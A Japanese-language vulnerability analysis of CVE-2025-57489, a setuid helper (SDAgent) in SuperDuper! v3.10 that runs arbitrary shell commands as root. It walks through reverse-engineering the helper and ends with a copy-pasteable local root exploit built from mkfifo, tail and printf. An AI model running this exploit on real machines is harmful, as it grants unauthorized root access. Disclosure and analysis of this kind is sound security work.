
技術的分析と概念実証エクスプロイト:CVE-2025-57489は、SuperDuper! v3.10における不適切なsetuidバイナリ設計による権限昇格脆弱性であり、任意のrootコマンド実行を可能にします。
開発者のブログより:
SuperDuperのロックが解除され、管理者パスワードを入力せずに実行できるようになると、サードパーティのプログラムがその認可を利用して、バックアップ以外のものを管理者権限で実行する可能性があります。
CVE説明:
Shirt Pocket SuperDuper! v3.10のSDAgentコンポーネントにおける不適切なアクセス制御により、setuidバイナリの不適切な使用により攻撃者が権限をrootに昇格させることができます。
この著者は脆弱性の発見者ではありません。発見者はSuperDuperの開発者によって「匿名のセキュリティ研究者」とされています。私はこの脆弱性の発見に対して功績を主張しません。技術的な分析を行ったことに興味を持っただけです。
CVSS 3.1 スコア: 8.1: High (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H)
この脆弱性を回避するには、SuperDuper!アプリケーションを削除するか、3.11アップデートを適用してください。
警告: CVE-2025-61228 の脆弱性を回避するには、開発者のWebサイトから直接アップデートをダウンロードする必要があります。
このエクスプロイト分析および概念実証は教育目的のみで提供されています。自己責任で使用してください。
SuperDuper!アプリケーションのSDAgentコンポーネントはsetuidバイナリです。設計/実装が不十分なため、SDAgentは他のアプリケーションから要求されたシェルコマンドを実行するためだけに存在し、要求元アプリケーションの検証や、要求可能なシェルコマンドの種類に対するガードレールを実装していないようです。その結果、攻撃者は影響を受けるバージョンのSDAgentツールに任意のシェルコマンドをroot権限で実行させることができます。開発者による修正はSDAgentが要求元を検証しない問題のみを対象としており、「操り人形」ヘルパーツールの設計には対処しておらず、エージェントは将来の攻撃に対して潜在的に脆弱なままです。
開発者によるこの問題の説明は曖昧でしたが、「SuperDuperのロックが解除されたとき」というコメントがすぐに正しい方向を示してくれました。古い(まだ脆弱な)バージョンのSuperDuperから始めて、そのロックアイコンをクリックして認証しました。アクティビティモニタで、SuperDuperに関連する新しいプロセス「SDAgent」が表示されることに気付きました。このコンポーネントをSuperDuperバンドルファイル内で見つけ、ターミナルでその属性を確認しました。ロックをオフ/オンに切り替えた後、ロックが解除されているときはいつでもSDAgentファイルがsetuidバイナリであることに気付きました。その属性とファイル名から、これは「特権ヘルパーツール」であるに違いないと結論付けましたが、その目的には少し小さいように思われました。
Setuidは非常に古い権限昇格の形態であり、通常は「rootが必要」な機能をすべて「ヘルパー」ツールに組み込んでその機能を実行させるか、クライアントアプリケーションがヘルパーツールに特定の要求を行える通信経路を開発します。しかし、このSDAgentファイルの小ささ(わずか137KB)を考えると、このアプリケーションが主張するすべてのroot権限が必要なコードを保持しているとは思えません。好奇心が刺激され、SDAgentに対して"strings"ユーティリティを実行して、その目的を把握しました。これが非常に啓発的であることが判明しました。出力は事実上なく(通常アプリケーションバイナリで見られるものと比較して)、出力は基本的にSDAgentがただ一つの機能を持つことを示していました。それは、要求元から提供された任意のシェルスクリプトを実行することです。例:
% strings /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent
...
/bin/bash
bash
SDAgent could not fork process
****DONE****
文字通り任意のコマンドを実行するヘルパーツールを作成するのは設計が不十分です。「操り人形になってはいけない」はヘルパーツールを作成する際の重要なルールです。
SuperDuperはSDAgentを開き、通信パイプを確立し、シェルスクリプトをSDAgentに送信するに違いないという仮定で進めました。SuperDuperアプリケーションバンドル内を少し調べたところ、正しい方向に進んでいることがわかりました。このアプリケーションはすべてのコピー活動をシェルスクリプトを介して管理しているようです。
エージェントに単純にコマンドをパイプで送る試みをいくつか行いました:
printf "whoami" | /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent
zsh: done printf "whoami" |
zsh: segmentation fault /Applications/SuperDuper!.app/Contents/MacOS/SDAgent
SDAgentはクラッシュしました。そんなに簡単ではないようです!めげずに、setuidヘルパーアプリが通常どのように動作するかに基づいていくつか推測を始めました。一対のシェルユーティリティ間では、通常stdin、stdout、stderr用のパイプを作成し、forkとexecを実行します。子プロセスは各パイプのコピーを継承するため、両側が自動的に互いに通信パイプを開くことになります。高レベルフレームワークにリンクするアプリケーションでは、fork()は選択肢になりません。代わりに、子アプリケーションにどのように通信するつもりかを伝える方法を開発する必要があります。"strings"の出力から手がかりが得られました:
strings /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent
...
STDIN_PIPE_READ_FD
%i %i %i
otool -tV /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent
/Applications/SuperDuper!.app/Contents/MacOS/SDAgent:
...
00000001000011a8 leaq 0xa56(%rip), %rdi ## literal pool for: "STDIN_PIPE_READ_FD"
00000001000011af callq 0x1000017f6 ## symbol stub for: _getenv
OK、おそらく環境変数です。再度簡単なパイプハックを試してみましょう。SDAgentは単にそのstdinファイル記述子(0)からコマンドを受け取ると仮定します:
export STDIN_PIPE_READ_FD=0
printf "whoami" | /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent
1557%
数回繰り返した後、"1557"は起動されたSDAgentのプロセスIDであることが明らかになりました。あまり役に立ちません(期待していた"root"出力ではありません)が、今回はクラッシュしなかったので励みになりました。ファイルシステムを変更する何かを試してみました:
printf "touch /Library/test" | /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent
1593%
いいえ、ファイルは作成されませんでした。本腰を入れる時です。SIPを無効にし、dtrussを起動してSuperDuperにタスクを実行させました。タスクを開始するために認証した直後、dtrussから次の出力が表示されました(SDAgentプロセスにアタッチされています):
read(0x0, "21 23 24 \0", 0x800) = 9 0
dup2(0x15, 0x1, 0x0) = 1 0
dup2(0x17, 0x2, 0x0) = 2 0
write(0x1, "1615\0", 0x4) = 4 0
SDAgentは最初にファイル記述子0(stdin)から入力(おそらくSTDIN_PIPE_READ_FDで示される任意のFD)を読み取ります。ここでは3つの数字を読み取っているのがわかります。このシーケンスから、SuperDuperが3つのパイプを開き、それら3つのパイプの書き込み、書き込み、読み取り側をSDAgentに送信していると推測しています。SDAgentは最初の2つをstdoutとstderrに複製します(3つ目が何に使われるかはわかりません)。最後に、stdoutに"1615"(現在のSDAgent pid)を書き出し(これでSuperDuperはSDAgent pidを知ることができます)、その後fd 0で追加のコマンドを待機します。試行錯誤の結果、SDAgentが私たちの指示を実行する前に、いくつかのファイル記述子をSDAgentに送信する必要があることが明らかになりました。stdout(1)とstderr(2)はシェル環境ですでに開かれて書き込み可能であるため、それらを試しました:
printf "1 2 \0whoami\0" | /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent
~ % 1602
またもやクラッシュしませんでしたが、やる気のあるティーンエイジャーのようにSDAgentは早々に終了し、期待する"root"結果は得られません。dtrussはファイル記述子を読み取っているが残りを無視していることを示しています。null文字列終端子を考えると当然で、おそらくこれらの文字列の間にギャップを設けてSDAgentがそれらを別々の要求として扱うようにする必要があります。そのため、複数回書き込めるパイプにSDAgentを接続する必要があります。
この時点で、いくつかのパイプを開き、SDAgentをフォークし、ファイル記述子をstdinパイプに書き込み、少し待ってから引数(すなわち攻撃ペイロード)をパイプに送信して実行する簡単なCアプリケーションを書くことができました。そのコードを書き始めたとき、50行以上のコンパイル済みコードの全機能を2つの簡単なシェルコマンドで実現できるかもしれないことに気付きました。本当に必要なのは、SDAgentプロセスへのパイプを確立して開いたままにする方法だけです。"mkfifo"がこの目的に適しています:fifoはディスク上のファイルとして存在しますが、パイプをそれらに接続できます。一方では、fifoから読み取り、その内容をパイプの反対側のSDAgentに繰り返す何かが必要です。最初にファイル記述子をパイプに書き込む必要がありますが、ペイロードコマンドを送信できるようにパイプを開いたままにしておく必要もあります。パイプのいずれかの側のプロセスが終了すると、パイプは閉じます。tailユーティリティとバックグラウンド演算子が役立ちました:
export STDIN_PIPE_READ_FD=0
mkfifo /tmp/puppet
tail -f /tmp/puppet | /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent &
[1] 1964 1965
これにより2つのバックグラウンドジョブが起動しました:tail(1964)とSDAgent(1965)。両方のプロセスはバックグラウンドで実行され続けるため、それらの間のパイプは持続します。tailはfifoにデータが追加されるのを待ち、そのデータをSDAgentにパイプで送ります。非常にシンプルです。次に、ファイル記述子を送信します:
printf "1 2 \0" > /tmp/puppet
dtrussはSDAgentがファイル記述子を読み取り、SDAgentがまだ実行中でさらなる入力を待っていることを示しました。いよいよ決定的瞬間です:
printf 'whoami\0' > /tmp/puppet
~ % root
****DONE****
成功しました!もう一度?
printf 'touch /Library/test; ls /Library/test\0' > /tmp/puppet
~ % /Library/test
****DONE****
これで完了です!すべてを1つのコピー&ペースト可能なシェルコマンドの塊にまとめたとき、SDAgentがファイル記述子の処理に少し時間がかかることに気付きました。少し遅延を入れると完璧です:
export STDIN_PIPE_READ_FD=0
mkfifo /tmp/puppet
tail -f /tmp/puppet | /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent &
printf "1 2 \0" > /tmp/puppet
sleep 1
printf 'whoami\0' > /tmp/puppet
rootエクスプロイトとしては、これは驚くほど簡単に見つかり、攻撃者が悪用するのも非常に簡単です。